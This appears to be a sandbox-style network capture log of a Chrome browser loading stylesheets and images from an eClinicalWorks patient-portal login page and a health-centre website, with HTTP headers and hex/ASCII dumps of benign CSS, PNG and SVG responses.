2024-04-24 12:45:04 UTC	793	OUT	GET /portal14763/ss/newLogin/media-layout.css HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:05 UTC	454	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:04 GMT Content-Type: text/css Content-Length: 31803 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:04 GMT Accept-Ranges: bytes ETag: W/"31803-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:05 UTC	15930	IN	Data Raw: 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 33 32 30 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 7b 0a 20 20 20 20 2e 68 2d 77 72 61 70 70 65 72 7b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 27 2e 2e 2f 2e 2e 2f 69 6d 61 67 65 73 2f 6e 65 77 4c 6f 67 69 6e 2f 76 65 63 74 6f 72 2d 73 6d 2d 6c 61 6e 64 69 6e 67 2e 70 6e 67 27 29 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 74 6f 70 20 72 69 67 68 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 20 20 20 20 20 20 20 0a 20 20 20 20 7d 0a 20 20 20 20 2e 68 2d 77 72 61 70 70 65 72 2e 73 2d 77 72 61 70 70 65 72 7b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a Data Ascii: @media (min-width: 320px) and (max-width: 768px) { .h-wrapper{ background-image: url('../../images/newLogin/vector-sm-landing.png'); background-position: top right !important; } .h-wrapper.s-wrapper{ background:
2024-04-24 12:45:05 UTC	15873	IN	Data Raw: 20 0a 20 20 20 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 20 3a 20 37 36 38 70 78 29 20 0a 20 20 20 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 20 3a 20 38 31 30 70 78 29 20 0a 20 20 20 20 61 6e 64 20 28 6d 69 6e 2d 68 65 69 67 68 74 20 3a 20 31 30 32 34 70 78 29 20 0a 20 20 20 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 20 3a 20 31 32 38 30 70 78 29 20 7b 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 2e 68 2d 77 72 61 70 70 65 72 20 2e 73 65 63 74 69 6f 6e 2d 77 72 61 70 70 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 63 61 6c 63 28 31 30 30 76 68 20 2d 20 37 37 33 70 78 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 68 2d 77 72 61 70 70 65 72 20 2e 66 6f 72 6d 2d 72 65 67 69 73 74 72 61 74 69 Data Ascii: and (min-width : 768px) and (max-width : 810px) and (min-height : 1024px) and (max-height : 1280px) { .h-wrapper .section-wrapper { height: calc(100vh - 773px); } .h-wrapper .form-registrati

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.4	50039	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:04 UTC	791	OUT	GET /portal14763/ss/newui/css/jquery-ui.css HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:05 UTC	454	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:05 GMT Content-Type: text/css Content-Length: 37756 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:05 GMT Accept-Ranges: bytes ETag: W/"37756-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:05 UTC	15930	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 63 6f 72 65 2e 63 73 73 2c 20 61 63 63 6f 72 64 69 6f 6e 2e 63 73 73 2c 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2e 63 73 73 2c 20 6d 65 6e 75 2e 63 73 73 2c 20 62 75 74 74 6f 6e 2e 63 73 73 2c 20 63 6f 6e 74 72 6f 6c 67 72 6f 75 70 2e 63 73 73 2c 20 63 68 65 63 6b 62 6f 78 72 61 64 69 6f 2e 63 73 73 2c 20 64 61 74 65 70 69 63 6b 65 72 2e 63 73 73 2c 20 64 69 61 6c 6f 67 2e 63 73 73 2c 20 64 72 61 67 67 61 62 6c 65 2e 63 73 73 2c 20 72 65 73 69 7a 61 62 6c 65 2e 63 73 73 2c 20 70 72 6f 67 72 65 73 73 62 61 72 2e 63 73 73 2c 20 73 65 6c 65 63 74 61 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com* Includes: core.css, accordion.css, autocomplete.css, menu.css, button.css, controlgroup.css, checkboxradio.css, datepicker.css, dialog.css, draggable.css, resizable.css, progressbar.css, selecta
2024-04-24 12:45:05 UTC	16384	IN	Data Raw: 4f 69 49 6d 56 6d 43 4f 45 6d 6f 53 66 6e 33 79 58 6c 4a 57 6d 6f 48 47 68 71 70 36 69 6c 59 75 57 59 70 6d 54 71 4b 55 67 41 41 49 66 6b 45 43 51 45 41 41 51 41 73 41 41 41 41 41 43 67 41 4b 41 41 41 41 70 69 45 48 36 6b 62 35 38 62 69 51 33 46 4e 57 74 4d 46 57 57 33 65 4e 56 63 6f 6a 75 46 47 66 71 6e 5a 71 53 65 62 75 53 30 36 77 35 56 38 30 2f 58 30 32 70 4b 65 38 7a 46 77 50 36 45 46 57 4f 54 31 6c 44 46 6b 38 72 47 45 52 68 31 54 54 4e 4f 6f 63 51 36 31 48 6d 34 58 6d 32 56 65 78 55 48 70 7a 6a 79 6d 56 69 48 72 46 62 69 45 4c 73 65 66 56 72 6e 36 58 4b 66 6e 74 32 51 39 47 2f 2b 58 64 69 65 34 39 39 58 48 64 32 67 34 68 37 69 6f 4f 47 68 58 47 4a 62 6f 47 41 6e 58 53 42 6e 6f 42 77 4b 59 79 66 69 6f 75 62 5a 4a 32 48 6e 30 52 75 52 5a 61 66 6c 5a Data Ascii: OiImVmCOEmoSfn3yXlJWmoHGhqp6ilYuWYpmTqKUgAAIfkECQEAAQAsAAAAACgAKAAAApiEH6kb58biQ3FNWtMFWW3eNVcojuFGfqnZqSebuS06w5V80/X02pKe8zFwP6EFWOT1lDFk8rGERh1TTNOocQ61Hm4Xm2VexUHpzjymViHrFbiELsefVrn6XKfnt2Q9G/+Xdie499XHd2g4h7ioOGhXGJboGAnXSBnoBwKYyfioubZJ2Hn0RuRZaflZ
2024-04-24 12:45:05 UTC	5442	IN	Data Raw: 69 74 69 6f 6e 3a 20 2d 39 36 70 78 20 2d 31 31 32 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 63 61 6c 63 75 6c 61 74 6f 72 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 31 32 70 78 20 2d 31 31 32 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 7a 6f 6f 6d 69 6e 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 32 38 70 78 20 2d 31 31 32 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 7a 6f 6f 6d 6f 75 74 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 34 34 70 78 20 2d 31 31 32 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 73 65 61 72 63 68 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 36 30 70 78 20 2d 31 31 32 70 78 3b 20 7d 0a 2e 75 69 Data Ascii: ition: -96px -112px; }.ui-icon-calculator { background-position: -112px -112px; }.ui-icon-zoomin { background-position: -128px -112px; }.ui-icon-zoomout { background-position: -144px -112px; }.ui-icon-search { background-position: -160px -112px; }.ui

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.4	50041	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:05 UTC	781	OUT	GET /wp-content/uploads/2020/07/fqhc_x2logo.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:05 UTC	325	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:05 GMT Content-Type: image/png Content-Length: 24741 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:29 GMT ETag: "64f5a121-60a5" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:05 UTC	16059	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 fa 00 00 00 9a 08 06 00 00 00 80 18 55 67 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 40 00 49 44 41 54 78 01 ed bd 07 9c 1d c7 71 e7 5f 9b 73 c2 02 8b 05 16 39 07 12 20 18 c0 4c 31 07 05 4a 54 a2 2c 4b a6 7d b2 e5 28 a7 8f 2d fb ce f6 c9 3e cb 41 fe df d9 3a 5b 27 5b 96 65 2b 27 4a a2 a8 c8 9c 73 02 89 9c 73 da 05 b0 39 bd 8d ff ef af 7a e6 bd b7 48 44 d8 5d 2c b8 af 81 7d 33 d3 d3 d3 5d 5d 5d d5 55 5d 5d dd 9d 35 38 38 f8 b8 65 42 06 03 19 0c bc 55 31 f0 cf 59 59 59 f7 e5 52 bb eb df aa 35 cc d4 2b 83 81 0c 06 ec fb c2 41 76 06 11 19 0c 64 30 f0 d6 c7 40 86 d1 df fa 6d 9c a9 61 06 03 19 89 9e a1 81 0c 06 c6 03 06 32 12 7d 3c b4 72 a6 8e e3 1e 03 19 46 1f f7 24 90 41 c0 78 c0 40 86 d1 c7 Data Ascii: PNGIHDRUggAMAa@IDATxq_s9 L1JT,K}(->A:['[e+'Jss9zHD],}3]]]U]]588eBU1YYYR5+Avd0@ma2}<rF$Ax@
2024-04-24 12:45:05 UTC	8682	IN	Data Raw: 94 e1 44 a1 0e 7f 74 3f 77 60 17 f8 18 1f 3b 70 8d dd ba fb 40 b4 3f 9b 1a f3 fc a9 d7 58 c3 fe 5b 98 d1 e3 b1 b6 ae 59 38 9b 4c f4 05 22 47 4b 05 19 83 5a 8e ec 8a da 05 62 42 13 e0 8b b1 d6 4e 74 5a 1c 31 c5 b9 eb f1 26 14 12 6e 52 5a a4 bc 17 55 4d 89 ea 16 83 2d a6 38 3f 42 2e bb ba 56 71 7e 7d 19 e7 c5 b9 c0 56 9d 68 13 b5 41 7b 77 af 6d da 55 0f a3 6b 68 35 f6 da e4 fc c0 70 80 f2 ad cb e8 10 4c 92 dc 31 ee 14 73 2e 79 0e a7 a4 a4 ab c3 42 81 f6 4d 17 a3 f7 31 3d a5 f4 fa 1b 6b 24 25 98 c5 e8 5d 1c d8 38 c8 52 5b 0f f2 3b 10 ac d4 4d 47 2f c7 e7 ac 27 47 2c 21 d5 98 ff cd 47 6d 9f c2 09 b0 93 2b b4 17 80 1b 18 d4 28 fe d7 0d 83 ef 64 5f f7 7d 9c 6d 1e 82 6a 9c 09 67 82 81 b7 2e a3 27 b9 55 63 f4 6c 2b ad 9e ee a7 9e 4a 9d 97 bc d0 58 d6 dd 60 b9 ef Data Ascii: Dt?w`;p@?X[Y8L"GKZbBNtZ1&nRZUM-8?B.Vq~}VhA{wmUkh5pL1s.yBM1=k$%]8R[;MG/'G,!Gm+(d_}mjg.'Ucl+JX`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.4	50042	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:05 UTC	777	OUT	GET /wp-content/uploads/2020/09/62_PCMH.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:05 UTC	421	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:05 GMT Content-Type: image/svg+xml Content-Length: 10022 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:18:37 GMT Vary: Accept-Encoding ETag: "64f5a0ed-2726" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:05 UTC	10022	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 34 2e 32 2e 33 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 24.2.3, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.4	50044	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:05 UTC	793	OUT	GET /portal14763/ss/newLogin/devCustomCSS.css HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:06 UTC	454	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:05 GMT Content-Type: text/css Content-Length: 17095 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:05 GMT Accept-Ranges: bytes ETag: W/"17095-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:06 UTC	15930	IN	Data Raw: 2f 2a 20 64 65 76 61 6e 61 67 61 72 69 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 50 6f 70 70 69 6e 73 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 69 74 61 6c 69 63 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 6e 65 77 4c 6f 67 69 6e 2f 64 65 76 43 75 73 74 6f 6d 46 6f 6e 74 73 2f 70 78 69 44 79 70 38 6b 76 38 4a 48 67 46 56 72 4a 4a 4c 6d 76 31 70 56 46 74 65 4f 63 45 67 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 39 30 30 2d 30 39 37 46 2c 20 55 2b 31 Data Ascii: /* devanagari */@font-face { font-family: 'Poppins'; font-style: italic; font-weight: 200; font-display: swap; src: url('../fonts/newLogin/devCustomFonts/pxiDyp8kv8JHgFVrJJLmv1pVFteOcEg.woff2') format('woff2'); unicode-range: U+0900-097F, U+1
2024-04-24 12:45:06 UTC	1165	IN	Data Raw: 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b 32 30 30 30 2d 32 30 36 46 2c 20 55 2b 32 30 37 34 2c 20 55 2b 32 30 41 43 2c 20 55 2b 32 31 32 32 2c 20 55 2b 32 31 39 31 2c 20 55 2b 32 31 39 33 2c 20 55 2b 32 32 31 32 2c 20 55 2b 32 32 31 35 2c 20 55 2b 46 45 46 46 2c 20 55 2b 46 46 46 44 3b 0a 7d 0a 2f 2a 20 64 65 76 61 6e 61 67 61 72 69 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 50 6f 70 70 69 6e 73 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 39 30 30 3b 0a 20 20 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 6e 65 77 4c 6f 67 69 6e 2f 64 65 76 43 75 Data Ascii: 2DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;}/* devanagari */@font-face { font-family: 'Poppins'; font-style: normal; font-weight: 900; font-display: swap; src: url('../fonts/newLogin/devCu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.4	50043	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:05 UTC	792	OUT	GET /portal14763/ss/newui/css/wcagStyles.css HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:05 UTC	452	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:05 GMT Content-Type: text/css Content-Length: 2692 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:05 GMT Accept-Ranges: bytes ETag: W/"2692-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:05 UTC	2692	IN	Data Raw: 62 6f 64 79 20 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 37 36 37 36 37 36 20 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6f 70 61 63 69 74 79 3a 31 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0a 0a 2e 61 73 74 65 72 69 78 43 6f 6e 74 72 61 73 74 52 61 74 69 6f 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 45 42 30 30 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 42 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 70 65 72 73 6f 6e 61 6c 2d 69 6e 66 6f 2d 64 72 6f 70 64 6f 77 6e 2d 63 61 72 65 74 3a 3a 62 65 66 6f 72 65 20 7b Data Ascii: body .form-control::placeholder{color:#767676 !important;background-color: #FFFFFF !important;opacity:1 !important;}.asterixContrastRatio{ color: #EB0000 !important; Background-color: #FFFFFF !important;}.personal-info-dropdown-caret::before {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.4	50046	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:05 UTC	845	OUT	GET /portal14763/jsp/admin/getCroppedImage.jsp?id=0 HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:06 UTC	610	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:06 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000 X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block pragma: no-store,no-cache cache-control: no-cache, no-store,must-revalidate, max-age=-1 expires: -1 Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), speaker=(), vibrate=(), fullscreen=(), payment=(), microphone=(), camera=(), magnetometer=(), gyroscope=() P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Server:
2024-04-24 12:45:06 UTC	5896	IN	Data Raw: 31 33 38 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 a8 00 00 00 7e 08 02 00 00 00 3f 4e cd d1 00 00 16 bb 49 44 41 54 78 da ed 9b 77 54 17 d7 b6 c7 ef 1f ef bd 9b b2 62 c1 ae 58 a2 b1 45 8d 4a c7 02 52 6c 34 4b 34 31 46 45 83 0d 14 10 0b c5 48 51 91 0e 2a 88 a0 46 01 05 04 91 f2 a3 09 36 22 51 83 80 42 94 22 5c 29 82 82 0a 22 82 14 69 79 df 99 0d e3 cf 1f 58 ae 2f eb f2 92 9c bd 66 fd d6 61 e6 f4 cf 39 fb ec bd 67 f8 c7 ef 4c fe 96 f2 0f 36 05 0c 3c 13 06 9e 09 03 cf 84 81 67 c2 c0 33 61 e0 99 30 f0 4c 18 78 26 0c 3c 13 06 9e 09 03 cf 84 81 67 c2 c0 33 61 e0 99 30 f0 4c 18 78 26 0c 3c 13 06 9e 09 03 cf 84 81 67 c2 c0 33 61 e0 99 30 f0 0c 3c 13 06 9e 09 03 cf 84 81 67 c2 c0 33 61 e0 99 30 f0 4c 18 78 26 0c 3c 13 06 9e 09 03 cf 84 81 Data Ascii: 1382PNGIHDR~?NIDATxwTbXEJRl4K41FEHQ*F6"QB"\)"iyX/fa9gL6<g3a0Lx&<g3a0Lx&<g3a0<g3a0Lx&<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
